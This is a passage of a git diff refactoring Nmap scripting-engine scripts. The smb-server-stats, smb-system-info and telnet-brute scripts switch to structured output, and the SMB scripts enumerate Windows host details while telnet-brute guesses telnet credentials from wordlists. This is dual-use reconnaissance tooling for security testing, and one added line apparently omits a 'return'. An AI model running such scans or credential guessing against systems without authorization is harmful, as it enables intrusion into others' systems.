result, stats = msrpc.get_server_stats(host)
if(result == false) then
- if(nmap.debugging() > 0) then
- return "ERROR: " .. stats
- else
- return nil
- end
+ return stdnse.format_output(false, response)
end
- response = response .. string.format("Server statistics collected since %s (%s):\n", stats['start_str'], stats['period_str'])
- response = response .. string.format("|_ %d bytes (%.2f b/s) sent, %d bytes (%.2f b/s) received\n", stats['bytessent'], stats['bytessentpersecond'], stats['bytesrcvd'], stats['bytesrcvdpersecond'])
- response = response .. string.format("|_ %d failed logins, %d permission errors, %d system errors, %d print jobs, %d files opened\n", stats['pwerrors'], stats['permerrors'], stats['syserrors'], stats['jobsqueued'], stats['fopens'])
+ table.insert(response, string.format("Server statistics collected since %s (%s):", stats['start_str'], stats['period_str']))
+ table.insert(subresponse, string.format("%d bytes (%.2f b/s) sent, %d bytes (%.2f b/s) received", stats['bytessent'], stats['bytessentpersecond'], stats['bytesrcvd'], stats['bytesrcvdpersecond']))
+ table.insert(subresponse, string.format("%d failed logins, %d permission errors, %d system errors, %d print jobs, %d files opened", stats['pwerrors'], stats['permerrors'], stats['syserrors'], stats['jobsqueued'], stats['fopens']))
+ table.insert(response, subresponse)
- return response
+ return stdnse.format_output(true, response)
end
diff --git a/scripts/smb-system-info.nse b/scripts/smb-system-info.nse
index 44f419f38..5cce205a5 100644
--- a/scripts/smb-system-info.nse
+++ b/scripts/smb-system-info.nse
@@ -26,26 +26,20 @@ the system, besides showing a message box to the user.
-- @output
-- Host script results:
-- | smb-system-info:
--- | OS Details
--- | |_ Microsoft Windows Server 2003 Service Pack 2 (ServerNT 5.2 build 3790)
--- | |_ Installed on 2007-11-26 23:40:40
--- | |_ Registered to Ron Bowes (organization: MYCOMPANY)
--- | |_ Path: %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Program Files\Microsoft SQL Server\90\Tools\binn\;C:\Program Files\IBM\Rational AppScan\
--- | |_ Systemroot: C:\WINDOWS
--- | |_ Page files: C:\pagefile.sys 2046 4092 (cleared at shutdown => 0)
--- | Hardware
--- | |_ CPU 0: Intel(R) Xeon(TM) CPU 2.80GHz [2780mhz GenuineIntel]
--- | |_ Identifier 0: x86 Family 15 Model 2 Stepping 9
--- | |_ CPU 1: Intel(R) Xeon(TM) CPU 2.80GHz [2780mhz GenuineIntel]
--- | |_ Identifier 1: x86 Family 15 Model 2 Stepping 9
--- | |_ CPU 2: Intel(R) Xeon(TM) CPU 2.80GHz [2780mhz GenuineIntel]
--- | |_ Identifier 2: x86 Family 15 Model 2 Stepping 9
--- | |_ CPU 3: Intel(R) Xeon(TM) CPU 2.80GHz [2780mhz GenuineIntel]
--- | |_ Identifier 3: x86 Family 15 Model 2 Stepping 9
--- | |_ Video driver: RAGE XL PCI Family (Microsoft Corporation)
--- | Browsers
--- | |_ Internet Explorer 7.0000
--- |_ |_ Firefox 3.0.3 (en-US)
+-- | | OS Details
+-- | | | Microsoft Windows 2000 Service Pack 4 (ServerNT 5.0 build 2195)
+-- | | | Installed on 2008-10-10 05:47:19
+-- | | | Registered to Ron (organization: Government of Manitoba)
+-- | | | Path: %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Program Files\Graphviz2.20\Bin;
+-- | | | Systemroot: C:\WINNT
+-- | | |_ Page files: C:\pagefile.sys 192 384 (cleared at shutdown => 0)
+-- | | Hardware
+-- | | | CPU 0: Intel(R) Xeon(TM) CPU 2.80GHz [2800mhz GenuineIntel]
+-- | | | |_ Identifier 0: x86 Family 15 Model 3 Stepping 8
+-- | | |_ Video driver: VMware SVGA II
+-- | | Browsers
+-- | | | Internet Explorer 6.0000
+-- |_ |_ |_ Firefox 3.0.12 (en-US)
-----------------------------------------------------------------------
@@ -59,6 +53,8 @@ require 'msrpc'
require 'smb'
require 'stdnse'
+-- TODO: This script needs some love
+
hostrule = function(host)
return smb.get_port(host) ~= nil
end
@@ -183,59 +179,62 @@ action = function(host)
status, result = get_info_registry(host)
if(status == false) then
- if(nmap.debugging() > 0) then
- return "ERROR: " .. result
- else
- return nil
- end
- else
-
- local response = " \n"
-
- if(result['status-os'] == true) then
- response = response .. string.format("OS Details\n")
- response = response .. string.format("|_ %s %s (%s %s build %s)\n", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber'])
- response = response .. string.format("|_ Installed on %s\n", result['installdate'])
- response = response .. string.format("|_ Registered to %s (organization: %s)\n", result['registeredowner'], result['registeredorganization'])
- response = response .. string.format("|_ Path: %s\n", result['path'])
- response = response .. string.format("|_ Systemroot: %s\n", result['systemroot'])
- response = response .. string.format("|_ Page files: %s (cleared at shutdown => %s)\n", result['pagingfiles'], result['clearpagefileatshutdown'])
-
- response = response .. string.format("Hardware\n")
- for i = 0, result['number_of_processors'] - 1, 1 do
- if(result['status-processornamestring'..i] == false) then
- result['status-processornamestring'..i] = "Unknown"
- end
-
- response = response .. string.format("|_ CPU %d: %s [%dmhz %s]\n", i, result['processornamestring'..i], result['~mhz'..i], result['vendoridentifier'..i])
- response = response .. string.format("|_ Identifier %d: %s\n", i, result['identifier'..i])
- end
- response = response .. string.format("|_ Video driver: %s\n", result['video_driverdesc'])
-
- response = response .. string.format("Browsers\n")
- response = response .. string.format("|_ Internet Explorer %s\n", result['ie_version'])
- if(result['status-ff_version']) then
- response = response .. string.format("|_ Firefox %s\n", result['ff_version'])
- end
- elseif(result['status-productname'] == true) then
- if(nmap.debugging() > 0) then
- response = response .. string.format("|_ Access was denied for certain values; try an administrative account for more complete information\n")
- end
- response = response .. string.format("OS Details\n")
- response = response .. string.format("|_ %s %s (%s %s build %s)\n", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber'])
- response = response .. string.format("|_ Installed on %s\n", result['installdate'])
- response = response .. string.format("|_ Registered to %s (organization: %s)\n", result['registeredowner'], result['registeredorganization'])
- response = response .. string.format("|_ Systemroot: %s\n", result['systemroot'])
- else
- if(nmap.debugging() > 0) then
- response = string.format("|_ Account being used was unable to probe for information, try using an administrative account\n")
- else
- response = nil
- end
- end
-
- return response
+ return stdnse.format_output(false, result)
end
+
+ local response = {}
+
+ if(result['status-os'] == true) then
+ local osdetails = {}
+ osdetails['name'] = "OS Details"
+ table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
+ table.insert(osdetails, string.format("Installed on %s", result['installdate']))
+ table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
+ table.insert(osdetails, string.format("Path: %s", result['path']))
+ table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
+ table.insert(osdetails, string.format("Page files: %s (cleared at shutdown => %s)", result['pagingfiles'], result['clearpagefileatshutdown']))
+ table.insert(response, osdetails)
+
+ local hardware = {}
+ hardware['name'] = "Hardware"
+ for i = 0, result['number_of_processors'] - 1, 1 do
+ if(result['status-processornamestring'..i] == false) then
+ result['status-processornamestring'..i] = "Unknown"
+ end
+
+ local processor = {}
+ processor['name'] = string.format("CPU %d: %s [%dmhz %s]", i, string.gsub(result['processornamestring'..i], ' ', ''), result['~mhz'..i], result['vendoridentifier'..i])
+ table.insert(processor, string.format("Identifier %d: %s", i, result['identifier'..i]))
+ table.insert(hardware, processor)
+ end
+ table.insert(hardware, string.format("Video driver: %s", result['video_driverdesc']))
+ table.insert(response, hardware)
+
+ local browsers = {}
+ browsers['name'] = "Browsers"
+ table.insert(browsers, string.format("Internet Explorer %s", result['ie_version']))
+ if(result['status-ff_version']) then
+ table.insert(browsers, string.format("Firefox %s", result['ff_version']))
+ end
+ table.insert(response, browsers)
+
+ return stdnse.format_output(true, response)
+ elseif(result['status-productname'] == true) then
+
+ local osdetails = {}
+ osdetails['name'] = 'OS Details'
+ osdetails['warning'] = "Access was denied for certain values; try an administrative account for more complete information"
+
+ table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
+ table.insert(osdetails, string.format("Installed on %s", result['installdate']))
+ table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
+ table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
+ table.insert(response, osdetails)
+
+ return stdnse.format_output(true, response)
+ end
+
+ return stdnse.format_output(false, "Account being used was unable to probe for information, try using an administrative account")
end
diff --git a/scripts/telnet-brute.nse b/scripts/telnet-brute.nse
index 73f4d4625..f821bd825 100644
--- a/scripts/telnet-brute.nse
+++ b/scripts/telnet-brute.nse
@@ -137,19 +137,19 @@ local brute_cred = function(user, pass, soc)
return 1, "error -> this should never happen"
end
-local function go(host, port)
+action = function(host, port)
local pair, status
local user, pass, count, rbuf
local usernames, passwords
status, usernames = unpwdb.usernames()
if(not(status)) then
- return false, usernames
+ stdnse.format_output(false, usernames)
end
status, passwords = unpwdb.passwords()
if(not(status)) then
- return false, passwords
+ return stdnse.format_output(false, passwords)
end
pair = nil
@@ -160,7 +160,7 @@ local function go(host, port)
local soc, line, best_opt = comm.tryssl(host, port, "\n",opts)
if not soc then
- return false, "Unable to open connection"
+ return stdnse.format_output(false, "Unable to open connection")
end
-- continually try user/pass pairs (reconnecting, if we have to)
@@ -176,7 +176,7 @@ local function go(host, port)
pass = passwords()
if(not(pass)) then
- return false, "No accounts found"
+ return stdnse.format_output(true, "No accounts found")
end
end
@@ -199,21 +199,9 @@ local function go(host, port)
status, pair = brute_cred(user, pass, soc)
end
+
soc:close()
- return true, pair
+
+ return pair
end
-action = function(host, port)
-
- local status, result = go(host, port)
-
- if(not(status)) then
- if(nmap.debugging() > 0) then
- return "ERROR: " .. result
- end
- else
- return result
- end
-end
-
-